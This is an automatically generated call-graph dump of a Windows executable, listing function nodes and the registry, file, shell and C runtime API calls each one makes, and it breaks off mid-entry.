EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 51852->51864 51854->51842 51855->51843 51857 23c33f 51856->51857 51858 23c29b 51856->51858 51857->51849 51857->51851 51859 27c537 6 API calls 51858->51859 51860 23c2a5 codecvt 51859->51860 51860->51857 51865 23c360 51860->51865 51864->51851 51866 23c3b6 RegOpenKeyExW 51865->51866 51867 23c699 51866->51867 51868 23c3dc RegQueryValueExW RegQueryValueExW 51866->51868 51871 23c6c5 51867->51871 51872 23c6b4 RegCloseKey 51867->51872 51869 23c49b RegQueryValueExW 51868->51869 51870 23c43f RegQueryValueExW 51868->51870 51875 23c4de 51869->51875 51870->51869 51874 23c473 51870->51874 51873 27c18f _ValidateLocalCookies 5 API calls 51871->51873 51872->51871 51876 23c32e 51873->51876 51874->51869 51874->51874 51877 23c52a RegQueryValueExW 51875->51877 51891 27c4ed EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 51876->51891 51878 23c557 51877->51878 51879 23c57b RegQueryValueExW 51877->51879 51878->51879 51880 23c5a8 51879->51880 51881 23c659 51880->51881 51882 27c537 6 API calls 51880->51882 51883 23c663 GetCurrentProcess IsWow64Process 51881->51883 51886 23c68d 51881->51886 51884 23c61c 51882->51884 51885 23c681 51883->51885 51883->51886 51884->51881 51887 23c628 GetModuleHandleW GetProcAddress 51884->51887 51885->51886 51892 23c6e0 51886->51892 51902 27c4ed EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 51887->51902 51890 23c656 51890->51881 51891->51857 51893 23c738 RegOpenKeyExW 51892->51893 51894 23c75e RegQueryValueExW 51893->51894 51901 23c810 51893->51901 51897 23c7df RegQueryValueExW 51894->51897 51900 23c791 51894->51900 51895 23c9ee 51898 27c18f _ValidateLocalCookies 5 API calls 51895->51898 51896 23c9dd RegCloseKey 51896->51895 51897->51901 51899 23ca06 51898->51899 51899->51867 51900->51897 51901->51895 51901->51896 51902->51890 51903 27caa9 51904 27cab5 ___scrt_is_nonwritable_in_current_image 51903->51904 51929 27c683 51904->51929 51906 27cabc 51907 27cc0f 51906->51907 51918 27cae6 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock __set_se_translator 51906->51918 51974 27d03d 4 API calls 2 library calls 51907->51974 51909 27cc16 51967 28a8a2 51909->51967 51913 27cc24 51914 27cb05 51915 27cb86 51940 27d158 GetStartupInfoW codecvt 51915->51940 51917 27cb8c 51941 22d600 CoInitialize DefWindowProcW 51917->51941 51918->51914 51918->51915 51970 2870a1 57 API calls 4 library calls 51918->51970 51923 27cba8 51923->51909 51924 27cbac 51923->51924 51925 27cbb5 51924->51925 51972 28a857 23 API calls __set_se_translator 51924->51972 51973 27c7f4 86 API calls ___scrt_uninitialize_crt 51925->51973 51928 27cbbd 51928->51914 51930 27c68c 51929->51930 51976 27ccd0 IsProcessorFeaturePresent 51930->51976 51932 27c698 51977 27ffb0 10 API calls 2 library calls 51932->51977 51934 27c69d 51935 27c6a1 51934->51935 51978 28b254 51934->51978 51935->51906 51938 27c6b8 51938->51906 51940->51917 52037 22d8b0 51941->52037 51947 22d678 52148 229cc0 51947->52148 51950 22d6b0 51953 22d6c6 51950->51953 51954 22d6b6 DestroyWindow 51950->51954 51951 22d6f8 LeaveCriticalSection 51952 22d71b 51951->51952 51957 22d73d std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51951->51957 51955 22d727 51952->51955 52168 286e75 14 API calls ___free_lconv_mon 51952->52168 51953->51951 51958 22d6d6 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51953->51958 52167 286e75 14 API calls ___free_lconv_mon 51953->52167 51954->51953 51955->51957 52169 286e75 14 API calls ___free_lconv_mon 51955->52169 52161 22da30 51957->52161 51958->51951 51963 22d7d1 CoUninitialize 51964 22d7d7 51963->51964 51965 27c18f _ValidateLocalCookies 5 API calls 51964->51965 51966 22d7f4 51965->51966 51971 27d18e GetModuleHandleW 51966->51971 52842 28a68a 51967->52842 51970->51915 51971->51923 51972->51925 51973->51928 51974->51909 51975 28a866 23 API calls __set_se_translator 51975->51913 51976->51932 51977->51934 51982 294bc1 51978->51982 51981 27ffcf 7 API calls 2 library calls 51981->51935 51983 294bd1 51982->51983 51984 27c6aa 51982->51984 51983->51984 51986 28e1bc 51983->51986 51984->51938 51984->51981 51987 28e1c8 ___scrt_is_nonwritable_in_current_image 51986->51987 51998 28894a EnterCriticalSection 51987->51998 51989 28e1cf 51999 294d0a 51989->51999 51992 28e1ed 52014 28e213 LeaveCriticalSection std::_Lockit::~_Lockit 51992->52014 51995 28e1e8 52013 28e10c GetStdHandle GetFileType 51995->52013 51996 28e1fe 51996->51983 51998->51989 52000 294d16 ___scrt_is_nonwritable_in_current_image 51999->52000 52001 294d1f 52000->52001 52002 294d40 52000->52002 52023 28194e 14 API calls __dosmaperr 52001->52023 52015 28894a EnterCriticalSection 52002->52015 52005 294d24 52024 28155f 57 API calls ___std_exception_copy 52005->52024 52007 294d78 52025 294d9f LeaveCriticalSection std::_Lockit::~_Lockit 52007->52025 52008 28e1de 52008->51992 52012 28e056 60 API calls 52008->52012 52009 294d4c 52009->52007 52016 294c5a 52009->52016 52012->51995 52013->51992 52014->51996 52015->52009 52026 28dcb7 52016->52026 52018 294c6c 52022 294c79 52018->52022 52033 28da3d 6 API calls std::_Locinfo::_Locinfo_dtor 52018->52033 52021 294cce 52021->52009 52034 28d3e6 14 API calls __dosmaperr 52022->52034 52023->52005 52024->52008 52025->52008 52031 28dcc4 __dosmaperr 52026->52031 52027 28dd04 52036 28194e 14 API calls __dosmaperr 52027->52036 52028 28dcef RtlAllocateHeap 52030 28dd02 52028->52030 52028->52031 52030->52018 52031->52027 52031->52028 52035 28a364 EnterCriticalSection LeaveCriticalSection codecvt 52031->52035 52033->52018 52034->52021 52035->52031 52036->52030 52038 22d90d GetCurrentThreadId 52037->52038 52039 22d8f4 52037->52039 52040 27c1b4 codecvt 3 API calls 52038->52040 52039->52038 52041 22d664 52040->52041 52042 229a30 52041->52042 52170 2432c0 52042->52170 52047 213540 71 API calls 52048 229ad5 52047->52048 52051 213540 71 API calls 52048->52051 52058 229b74 52048->52058 52049 213200 2 API calls 52050 229ba9 52049->52050 52052 229b0a 52051->52052 52053 213540 71 API calls 52052->52053 52052->52058 52054 229b30 52053->52054 52055 213540 71 API calls 52054->52055 52054->52058 52056 229b52 52055->52056 52057 213540 71 API calls 52056->52057 52056->52058 52057->52058 52058->52049 52059 229b78 52058->52059 52060 229e30 52059->52060 52285 22a950 GetModuleFileNameW 52060->52285 52062 229e7a 52063 215e60 59 API calls 52062->52063 52064 229e92 52063->52064 52316 233f40 52064->52316 52067 215e60 59 API calls 52068 229ed3 52067->52068 52069 215e60 59 API calls 52068->52069 52075 229f08 52069->52075 52070 229f63 52326 22aa60 52070->52326 52071 22a3ca 52073 213200 2 API calls 52071->52073 52076 22a3d4 52073->52076 52075->52070 52075->52071 52078 229f4a 52075->52078 52365 2150e0 59 API calls 52075->52365 52368 22cd00 14 API calls 2 library calls 52076->52368 52077 214ba0 59 API calls 52079 229f8b 52077->52079 52078->52070 52078->52071 52082 214ba0 59 API calls 52079->52082 52084 229fba FindFirstFileW 52082->52084 52083 22a421 52083->51947 52085 229fe6 52084->52085 52147 229fdf 52084->52147 52086 22a11b 52085->52086 52087 22a02b CreateFileW 52085->52087 52341 240600 52086->52341 52090 22a06a SetFilePointer 52087->52090 52094 22a059 52087->52094 52088 22a397 FindClose 52089 22a3a5 52088->52089 52092 27c18f _ValidateLocalCookies 5 API calls 52089->52092 52090->52094 52095 22a090 52090->52095 52097 22a3c2 52092->52097 52093 22a112 CloseHandle 52093->52086 52094->52086 52094->52093 52098 235420 74 API calls 52095->52098 52097->51947 52100 22a0a0 52098->52100 52102 22a0bb ReadFile 52100->52102 52366 214fe0 59 API calls 3 library calls 52100->52366 52102->52094 52104 22a0d0 52102->52104 52104->52094 52367 24b570 85 API calls 4 library calls 52104->52367 52108 22a0b8 52108->52102 52147->52088 52147->52089 52418 22bf60 52148->52418 52154 229dec 52155 22c2a0 std::generic_category 14 API calls 52154->52155 52156 229dfb 52155->52156 52508 229bb0 52156->52508 52162 22da61 52161->52162 52163 22d7c4 52161->52163 52162->52161 52165 22da77 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 52162->52165 52841 22da10 RaiseException 52162->52841 52163->51963 52163->51964 52164 22dabc DeleteCriticalSection 52164->52163 52165->52164 52167->51958 52168->51955 52169->51957 52171 213540 71 API calls 52170->52171 52172 24336d 52171->52172 52173 243724 52172->52173 52176 213540 71 API calls 52172->52176 52174 213200 2 API calls 52173->52174 52175 24372e 52174->52175 52177 243395 52176->52177 52177->52173 52178 213540 71 API calls 52177->52178 52179 2433ba 52178->52179 52179->52173 52180 213540 71 API calls 52179->52180 52181 2433df 52180->52181 52181->52173 52182 213540 71 API calls 52181->52182 52183 243405 52182->52183 52183->52173 52184 213540 71 API calls 52183->52184 52185 24342b 52184->52185 52185->52173 52186 213540 71 API calls 52185->52186 52187 243509 52186->52187 52187->52173 52188 213540 71 API calls 52187->52188 52189 24353c 52188->52189 52189->52173 52190 213540 71 API calls 52189->52190 52191 243586 52190->52191 52191->52173 52192 213540 71 API calls 52191->52192 52193 2435b9 52192->52193 52193->52173 52194 213540 71 API calls 52193->52194 52195 243644 52194->52195 52195->52173 52196 24364e 52195->52196 52227 213fa0 52196->52227 52199 216540 60 API calls 52200 243679 52199->52200 52201 215150 59 API calls 52200->52201 52202 2436b4 52201->52202 52203 215e60 59 API calls 52202->52203 52204 2436c2 52203->52204 52205 213f00 57 API calls 52204->52205 52206 2436ce 52205->52206 52207 213f00 57 API calls 52206->52207 52208 2436da 52207->52208 52209 214f30 2 API calls 52208->52209 52210 2436e1 52209->52210 52211 214ba0 59 API calls 52210->52211 52212 2436ef 52211->52212 52213 214ba0 59 API calls 52212->52213 52214 243700 52213->52214 52215 27c18f _ValidateLocalCookies 5 API calls 52214->52215 52216 229a71 52215->52216 52217 246ed0 52216->52217 52218 213540 71 API calls 52217->52218 52219 246f04 52218->52219 52222 213540 71 API calls 52219->52222 52225 246f4d 52219->52225 52220 213200 2 API calls 52221 24700c 52220->52221 52223 246f2a 52222->52223 52224 213540 71 API calls 52223->52224 52223->52225 52224->52225 52225->52220 52226 229a83 52225->52226 52226->52047 52228 214046 52227->52228 52229 21400e 52227->52229 52232 2323d0 19 API calls 52228->52232 52258 214256 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 52228->52258 52230 27c537 6 API calls 52229->52230 52233 214018 52230->52233 52231 211f20 59 API calls 52234 214289 52231->52234 52235 21405b 52232->52235 52233->52228 52279 27c849 59 API calls 52233->52279 52237 27c18f _ValidateLocalCookies 5 API calls 52234->52237 52238 2141a3 GetTempPathW 52235->52238 52239 214063 52235->52239 52241 2142b3 52237->52241 52249 2141b7 52238->52249 52242 2140ba 52239->52242 52245 27c537 6 API calls 52239->52245 52240 214035 52280 27c4ed EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 52240->52280 52241->52199 52243 2140d5 GetWindowsDirectoryW 52242->52243 52248 2140c3 PathFileExistsW 52242->52248 52282 28182e 57 API calls 2 library calls 52243->52282 52247 21407a 52245->52247 52247->52242 52250 214086 GetModuleHandleW GetProcAddress 52247->52250 52248->52249 52261 214117 52248->52261 52252 2137a0 59 API calls 52249->52252 52249->52258 52281 27c4ed EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 52250->52281 52254 214208 52252->52254 52256 216750 60 API calls 52254->52256 52255 2140b7 52255->52242 52257 214220 52256->52257 52257->52258 52259 2142ba 52257->52259 52258->52231 52284 28156f 57 API calls 2 library calls 52259->52284 52283 232d30 8 API calls 52261->52283 52264 21415a 52265 214192 52264->52265 52266 21415e CreateDirectoryW 52264->52266 52265->52249 52266->52265 52279->52240 52280->52228 52281->52255 52282->52248 52283->52264 52286 22a9b5 52285->52286 52287 22aa4e 52285->52287 52288 213540 71 API calls 52286->52288 52369 27c329 5 API calls std::_Locinfo::_Locinfo_dtor 52287->52369 52290 22a9c1 52288->52290 52291 22aa53 52290->52291 52292 22a9cb 52290->52292 52293 213200 2 API calls 52291->52293 52295 22a9f3 52292->52295 52296 22a9e6 52292->52296 52294 22aa5d 52293->52294 52297 213540 71 API calls 52294->52297 52304 215150 59 API calls 52295->52304 52298 214e80 68 API calls 52296->52298 52299 22aa9a 52297->52299 52300 22a9f1 52298->52300 52301 22aaa4 52299->52301 52302 22ab8a 52299->52302 52306 27c18f _ValidateLocalCookies 5 API calls 52300->52306 52307 22a950 83 API calls 52301->52307 52303 213200 2 API calls 52302->52303 52305 22ab94 52303->52305 52304->52300 52308 22aa44 52306->52308 52309 22aac8 _wcsrchr 52307->52309 52308->52062 52310 22c4e0 82 API calls 52309->52310 52314 22ab10 _wcsrchr 52309->52314 52312 22ab04 52310->52312 52311 22ab56 52311->52062 52313 215e60 59 API calls 52312->52313 52313->52314 52314->52311 52370 22c8a0 59 API calls 3 library calls 52314->52370 52317 233f7e _wcsrchr 52316->52317 52318 233f98 52317->52318 52320 233f8b 52317->52320 52319 213540 71 API calls 52318->52319 52322 233f9d 52319->52322 52321 22c4e0 82 API calls 52320->52321 52323 229ec0 52321->52323 52322->52323 52324 213200 2 API calls 52322->52324 52323->52067 52325 233fd8 52324->52325 52327 213540 71 API calls 52326->52327 52328 22aa9a 52327->52328 52329 22aaa4 52328->52329 52330 22ab8a 52328->52330 52333 22a950 84 API calls 52329->52333 52331 213200 2 API calls 52330->52331 52332 22ab94 52331->52332 52334 22aac8 _wcsrchr 52333->52334 52335 22c4e0 82 API calls 52334->52335 52336 22ab10 _wcsrchr 52334->52336 52338 22ab04 52335->52338 52337 229f77 52336->52337 52371 22c8a0 59 API calls 3 library calls 52336->52371 52337->52077 52339 215e60 59 API calls 52338->52339 52339->52336 52372 240790 52341->52372 52344 213540 71 API calls 52345 240665 52344->52345 52348 213540 71 API calls 52345->52348 52359 240746 52345->52359 52346 213200 2 API calls 52347 24078a 52346->52347 52349 240693 52348->52349 52350 213540 71 API calls 52349->52350 52349->52359 52351 2406b6 52350->52351 52352 213540 71 API calls 52351->52352 52351->52359 52353 2406dc 52352->52353 52354 213540 71 API calls 52353->52354 52353->52359 52355 240702 52354->52355 52356 213540 71 API calls 52355->52356 52355->52359 52357 240724 52356->52357 52358 213540 71 API calls 52357->52358 52357->52359 52358->52359 52359->52346 52360 22a127 52359->52360 52361 241240 52360->52361 52416 248b70 83 API calls std::_Locinfo::_Locinfo_dtor 52361->52416 52363 24127e 52417 241460 73 API calls 52363->52417 52365->52078 52366->52108 52367->52094 52368->52083 52369->52291 52370->52311 52371->52337 52373 213540 71 API calls 52372->52373 52374 2407c4 52373->52374 52377 213540 71 API calls 52374->52377 52414 240a58 52374->52414 52375 213200 2 API calls 52376 240a8c 52375->52376 52378 2407ea 52377->52378 52379 213540 71 API calls 52378->52379 52378->52414 52380 24080d 52379->52380 52381 213540 71 API calls 52380->52381 52380->52414 52382 240830 52381->52382 52383 213540 71 API calls 52382->52383 52382->52414 52384 240853 52383->52384 52385 213540 71 API calls 52384->52385 52384->52414 52386 240876 52385->52386 52387 213540 71 API calls 52386->52387 52386->52414 52388 240899 52387->52388 52389 213540 71 API calls 52388->52389 52388->52414 52390 2408bc 52389->52390 52391 213540 71 API calls 52390->52391 52390->52414 52392 2408df 52391->52392 52393 213540 71 API calls 52392->52393 52392->52414 52394 240902 52393->52394 52395 213540 71 API calls 52394->52395 52394->52414 52396 240925 52395->52396 52397 213540 71 API calls 52396->52397 52396->52414 52398 240948 52397->52398 52399 213540 71 API calls 52398->52399 52398->52414 52400 24096b 52399->52400 52401 213540 71 API calls 52400->52401 52400->52414 52402 24098e 52401->52402 52403 213540 71 API calls 52402->52403 52402->52414 52404 2409b1 52403->52404 52405 213540 71 API calls 52404->52405 52404->52414 52406 2409d4 52405->52406 52407 213540 71 API calls 52406->52407 52406->52414 52408 2409f7 52407->52408 52409 213540 71 API calls 52408->52409 52408->52414 52410 240a1a 52409->52410 52411 213540 71 API calls 52410->52411 52410->52414 52412 240a39 52411->52412 52413 213540 71 API calls 52412->52413 52412->52414 52413->52414 52414->52375 52415 240656 52414->52415 52415->52344 52416->52363 52419 22c03c 52418->52419 52421 22bfb3 52418->52421 52423 22c240 52419->52423 52424 22c075 52419->52424 52450 22c0a2 codecvt 52419->52450 52420 22c245 52425 213200 2 API calls 52420->52425 52421->52419 52421->52420 52426 22bfc7 DeleteFileW 52421->52426 52434 233f40 82 API calls 52421->52434 52539 234610 52421->52539 52422 22c1fe 52429 22c980 57 API calls 52422->52429 52561 213020 58 API calls 52423->52561 52427 22c084 52424->52427 52433 22c0ad 52424->52433 52428 22c24f 52425->52428 52426->52420 52426->52421 52427->52428 52431 22c08f 52427->52431 52562 213e70 RaiseException _com_raise_error codecvt 52428->52562 52435 22c21b 52429->52435 52437 27c1b4 codecvt 3 API calls 52431->52437 52439 27c1b4 codecvt 3 API calls 52433->52439 52433->52450 52434->52421 52440 27c18f _ValidateLocalCookies 5 API calls 52435->52440 52436 214ba0 59 API calls 52436->52450 52441 22c095 52437->52441 52438 22c254 52563 28156f 57 API calls 2 library calls 52438->52563 52439->52450 52444 229cf9 52440->52444 52441->52438 52441->52450 52453 2474d0 52444->52453 52446 22c144 FindFirstFileW 52446->52450 52447 22c181 FindNextFileW 52447->52447 52449 22c191 FindClose 52447->52449 52448 22c1c3 PathIsDirectoryW 52448->52450 52449->52450 52450->52422 52450->52436 52450->52446 52450->52447 52450->52448 52559 22c440 RtlAllocateHeap RaiseException 52450->52559 52560 247be0 59 API calls 52450->52560 52454 247514 52453->52454 52455 247539 52453->52455 52456 27c18f _ValidateLocalCookies 5 API calls 52454->52456 52584 247840 52455->52584 52458 229dbc 52456->52458 52503 22c980 52458->52503 52459 24754d 52587 247a20 52459->52587 52461 247565 52462 213fa0 102 API calls 52461->52462 52463 247577 52462->52463 52464 213540 71 API calls 52463->52464 52465 247580 52464->52465 52466 247802 52465->52466 52469 216540 60 API calls 52465->52469 52467 213200 2 API calls 52466->52467 52468 247832 52467->52468 52470 2475a5 GetTempFileNameW 52469->52470 52472 213f00 57 API calls 52470->52472 52476 2475d1 52472->52476 52473 247689 52474 213540 71 API calls 52473->52474 52475 2476a9 52474->52475 52475->52466 52480 228870 84 API calls 52475->52480 52476->52473 52477 215150 59 API calls 52476->52477 52478 2475fe DeleteFileW 52477->52478 52479 213540 71 API calls 52478->52479 52481 24760c 52479->52481 52482 2476d9 52480->52482 52481->52466 52485 247634 52481->52485 52486 24763f 52481->52486 52483 213540 71 API calls 52482->52483 52484 2476e1 52483->52484 52484->52466 52489 228870 84 API calls 52484->52489 52487 214e80 68 API calls 52485->52487 52488 215150 59 API calls 52486->52488 52491 24763d _wcsrchr 52487->52491 52488->52491 52490 247710 CopyFileW 52489->52490 52492 247727 52490->52492 52496 247757 52490->52496 52491->52473 52593 22c8a0 59 API calls 3 library calls 52491->52593 52493 233f40 82 API calls 52492->52493 52494 247734 52493->52494 52594 2473a0 SHGetFolderPathW 52494->52594 52502 213f00 57 API calls 52496->52502 52498 24767d 52500 214ba0 59 API calls 52498->52500 52499 247743 52663 2591c0 52499->52663 52500->52473 52502->52466 52504 22ca0d std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 52503->52504 52505 22c9ae 52503->52505 52504->52154 52505->52504 52787 28156f 57 API calls 2 library calls 52505->52787 52509 229bea 52508->52509 52788 2483a0 52509->52788 52511 229c1a 52513 229c35 52511->52513 52795 27a206 10 API calls 52511->52795 52514 243730 52513->52514 52515 2437a9 52514->52515 52516 24377b 52514->52516 52517 22c2a0 std::generic_category 14 API calls 52515->52517 52518 243a10 52516->52518 52521 243795 DeleteFileW 52516->52521 52519 2437b4 52517->52519 52520 213200 2 API calls 52518->52520 52796 243a20 52519->52796 52523 243a1a 52520->52523 52521->52515 52521->52516 52526 2437f7 52527 22c2a0 std::generic_category 14 API calls 52526->52527 52528 243806 52527->52528 52529 22c2a0 std::generic_category 14 API calls 52528->52529 52530 2438bd 52529->52530 52531 22c2a0 std::generic_category 14 API calls 52530->52531 52532 2438cc 52531->52532 52825 246a00 52532->52825 52535 243904 52829 246950 52535->52829 52536 2438f3 CloseHandle 52536->52535 52540 213540 71 API calls 52539->52540 52545 234641 52540->52545 52541 23476a 52542 213200 2 API calls 52541->52542 52543 234774 52542->52543 52544 234760 52546 213200 2 API calls 52544->52546 52545->52541 52545->52544 52547 234675 52545->52547 52546->52541 52548 2346b8 52547->52548 52549 23467f 52547->52549 52550 215e60 59 API calls 52548->52550 52551 232030 73 API calls 52549->52551 52555 234698 _wcsrchr 52550->52555 52552 23468b 52551->52552 52554 215e60 59 API calls 52552->52554 52553 234711 52553->52421 52554->52555 52555->52553 52564 232030 52555->52564 52557 2346f2 52557->52553 52558 234610 73 API calls 52557->52558 52558->52553 52559->52450 52560->52450 52565 232073 52564->52565 52566 2320a4 52564->52566 52565->52557 52567 213540 71 API calls 52566->52567 52575 2320b5 52566->52575 52567->52575 52568 232185 52569 213200 2 API calls 52568->52569 52572 23218f 52569->52572 52570 232176 52571 213200 2 API calls 52570->52571 52573 232180 52571->52573 52583 215260 RtlAllocateHeap RaiseException 52573->52583 52575->52568 52575->52570 52575->52573 52577 232109 codecvt 52575->52577 52576 232125 codecvt 52576->52557 52577->52576 52581 28194e 14 API calls __dosmaperr 52577->52581 52579 232147 52582 28155f 57 API calls ___std_exception_copy 52579->52582 52581->52579 52582->52576 52691 2478d0 52584->52691 52586 247876 52586->52459 52589 247b76 52587->52589 52591 247a6b 52587->52591 52588 247840 73 API calls 52588->52591 52589->52461 52590 237cd0 73 API calls 52590->52591 52591->52588 52591->52589 52591->52590 52592 215150 59 API calls 52591->52592 52592->52591 52593->52498 52595 247401 PathAppendW 52594->52595 52596 24747d 52594->52596 52595->52596 52597 247414 PathFileExistsW 52595->52597 52598 213540 71 API calls 52596->52598 52597->52596 52599 247422 52597->52599 52600 247482 52598->52600 52601 213540 71 API calls 52599->52601 52602 2474c5 52600->52602 52618 247457 52600->52618 52604 247427 52601->52604 52603 213200 2 API calls 52602->52603 52605 2474cf 52603->52605 52604->52602 52606 24742f 52604->52606 52607 247514 52605->52607 52608 247539 52605->52608 52612 24744c 52606->52612 52613 247459 52606->52613 52610 27c18f _ValidateLocalCookies 5 API calls 52607->52610 52611 247840 73 API calls 52608->52611 52609 27c18f _ValidateLocalCookies 5 API calls 52614 2474bb 52609->52614 52616 247531 52610->52616 52617 24754d 52611->52617 52615 214e80 68 API calls 52612->52615 52620 215150 59 API calls 52613->52620 52614->52499 52615->52618 52616->52499 52619 247a20 73 API calls 52617->52619 52618->52609 52621 247565 52619->52621 52620->52618 52622 213fa0 102 API calls 52621->52622 52623 247577 52622->52623 52624 213540 71 API calls 52623->52624 52625 247580 52624->52625 52628 216540 60 API calls 52625->52628 52662 247802 52625->52662 52626 213200 2 API calls 52627 247832 52626->52627 52629 2475a5 GetTempFileNameW 52628->52629 52631 213f00 57 API calls 52629->52631 52634 2475d1 52631->52634 52632 213540 71 API calls 52633 2476a9 52632->52633 52638 228870 84 API calls 52633->52638 52633->52662 52635 215150 59 API calls 52634->52635 52651 247689 52634->52651 52636 2475fe DeleteFileW 52635->52636 52637 213540 71 API calls 52636->52637 52639 24760c 52637->52639 52640 2476d9 52638->52640 52643 247634 52639->52643 52644 24763f 52639->52644 52639->52662 52641 213540 71 API calls 52640->52641 52642 2476e1 52641->52642 52647 228870 84 API calls 52642->52647 52642->52662 52645 214e80 68 API calls 52643->52645 52646 215150 59 API calls 52644->52646 52649 24763d _wcsrchr 52645->52649 52646->52649 52649->52651 52651->52632 52662->52626 52664 259222 52663->52664 52665 236b90 73 API calls 52664->52665 52666 25926b 52665->52666 52667 2594f4 52666->52667 52668 259297 52666->52668 52719 2150e0 59 API calls 52666->52719 52669 213200 2 API calls 52667->52669 52716 288357 52668->52716 52672 2594fe 52669->52672 52674 25939e 52675 2593f3 ShellExecuteExW 52674->52675 52676 2593ea GetForegroundWindow 52674->52676 52677 259426 52675->52677 52678 259401 52675->52678 52676->52675 52681 25946e 52677->52681 52678->52677 52680 259365 GetWindowsDirectoryW 52683 228870 84 API calls 52680->52683 52685 259386 52683->52685 52686 2592b0 52686->52674 52686->52680 52692 247917 52691->52692 52693 213540 71 API calls 52692->52693 52695 247927 52692->52695 52693->52695 52694 247a0f 52696 213200 2 API calls 52694->52696 52695->52694 52699 247981 52695->52699 52706 2479b8 codecvt 52695->52706 52710 2150e0 59 API calls 52695->52710 52698 247a19 52696->52698 52697 213200 2 API calls 52697->52694 52709 247997 codecvt 52699->52709 52711 28194e 14 API calls __dosmaperr 52699->52711 52702 24798c 52712 28155f 57 API calls ___std_exception_copy 52702->52712 52704 2479e6 52704->52586 52706->52697 52706->52704 52707 2479d4 52714 28155f 57 API calls ___std_exception_copy 52707->52714 52709->52706 52713 28194e 14 API calls __dosmaperr 52709->52713 52710->52699 52711->52702 52712->52709 52713->52707 52714->52706 52721 28836e 52716->52721 52719->52668 52726 2815c0 52721->52726 52727 2815de 52726->52727 52728 2815d7 52726->52728 52727->52728 52771 28cfd6 57 API calls 3 library calls 52727->52771 52734 2881de 52728->52734 52730 2815ff 52772 28d2c1 57 API calls __Getctype 52730->52772 52732 281615 52773 28d31f 57 API calls _Fputc 52732->52773 52735 2881f8 52734->52735 52736 28820e ___crtCompareStringW 52734->52736 52774 28194e 14 API calls __dosmaperr 52735->52774 52736->52735 52738 288225 52736->52738 52741 288207 52738->52741 52776 28f9c1 6 API calls 2 library calls 52738->52776 52743 27c18f _ValidateLocalCookies 5 API calls 52741->52743 52742 288273 52744 28827d 52742->52744 52745 288294 52742->52745 52748 2592a2 52743->52748 52777 28194e 14 API calls __dosmaperr 52744->52777 52746 288299 52745->52746 52747 2882aa 52745->52747 52779 28194e 14 API calls __dosmaperr 52746->52779 52751 28832b 52747->52751 52754 2882d1 52747->52754 52761 2882be __alloca_probe_16 52747->52761 52748->52667 52748->52686 52784 28194e 14 API calls __dosmaperr 52751->52784 52752 288282 52778 28194e 14 API calls __dosmaperr 52752->52778 52753 2881fd 52775 28155f 57 API calls ___std_exception_copy 52753->52775 52780 28d420 15 API calls 2 library calls 52754->52780 52757 288330 52785 28194e 14 API calls __dosmaperr 52757->52785 52760 2882d7 52760->52751 52760->52761 52761->52751 52764 2882eb 52761->52764 52781 28f9c1 6 API calls 2 library calls 52764->52781 52771->52730 52772->52732 52773->52728 52774->52753 52775->52741 52776->52742 52777->52752 52778->52741 52779->52753 52780->52760 52784->52757 52789 2483ef 52788->52789 52790 2483a9 GetCurrentThreadId 52788->52790 52789->52511 52791 2483b7 DestroyWindow 52790->52791 52792 2483cb PostMessageW 52790->52792 52791->52511 52793 2483e2 IsWindow 52792->52793 52793->52793 52794 2483eb 52793->52794 52794->52789 52795->52513 52797 2437bb 52796->52797 52802 243a5a 52796->52802 52820 246530 52797->52820 52798 243ba1 52836 2465e0 59 API calls 5 library calls 52798->52836 52799 243a92 52800 243c2a 52799->52800 52803 243af1 DeleteFileW GetLastError 52799->52803 52811 243b38 52799->52811 52805 213200 2 API calls 52800->52805 52802->52797 52802->52799 52833 243dc0 96 API calls 52802->52833 52807 243b15 52803->52807 52804 243bad 52808 22c2a0 std::generic_category 14 API calls 52804->52808 52809 243c34 52805->52809 52806 243b61 RemoveDirectoryW GetLastError 52806->52811 52807->52799 52807->52800 52807->52811 52834 22c340 59 API calls 2 library calls 52807->52834 52815 243bb4 52808->52815 52811->52798 52811->52800 52811->52806 52835 22c340 59 API calls 2 library calls 52811->52835 52813 243bdc 52816 22c2a0 std::generic_category 14 API calls 52813->52816 52815->52800 52815->52813 52837 22c340 59 API calls 2 library calls 52815->52837 52818 243c09 52816->52818 52819 22c2a0 std::generic_category 14 API calls 52818->52819 52819->52797 52821 246595 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 52820->52821 52822 24655d 52820->52822 52821->52526 52822->52821 52838 28156f 57 API calls 2 library calls 52822->52838 52826 246a2e 52825->52826 52828 2438db 52825->52828 52839 286e75 14 API calls ___free_lconv_mon 52826->52839 52828->52535 52828->52536 52830 229e19 EnterCriticalSection 52829->52830 52832 24697f 52829->52832 52830->51950 52830->51951 52840 286e75 14 API calls ___free_lconv_mon 52832->52840 52833->52799 52834->52807 52835->52811 52836->52804 52837->52815 52839->52828 52840->52830 52841->52162 52843 28a6c9 52842->52843 52844 28a6b7 52842->52844 52854 28a533 52843->52854 52869 28a752 GetModuleHandleW 52844->52869 52848 28a6bc 52848->52843 52870 28a7b7 GetModuleHandleExW 52848->52870 52849 27cc1c 52849->51975 52855 28a53f ___scrt_is_nonwritable_in_current_image 52854->52855 52876 28894a EnterCriticalSection 52855->52876 52857 28a549 52877 28a59f 52857->52877 52859 28a556 52881 28a574 52859->52881 52862 28a721 52886 28a795 52862->52886 52865 28a73f 52867 28a7b7 __set_se_translator 3 API calls 52865->52867 52866 28a72f GetCurrentProcess TerminateProcess 52866->52865 52868 28a747 ExitProcess 52867->52868 52869->52848 52871 28a7f6 GetProcAddress 52870->52871 52872 28a817 52870->52872 52871->52872 52873 28a80a 52871->52873 52874 28a81d FreeLibrary 52872->52874 52875 28a6c8 52872->52875 52873->52872 52874->52875 52875->52843 52876->52857 52878 28a5ab ___scrt_is_nonwritable_in_current_image 52877->52878 52879 28a612 __set_se_translator 52878->52879 52884 28b0bf 14 API calls 3 library calls 52878->52884 52879->52859 52885 288992 LeaveCriticalSection 52881->52885 52883 28a562 52883->52849 52883->52862 52884->52879 52885->52883 52891 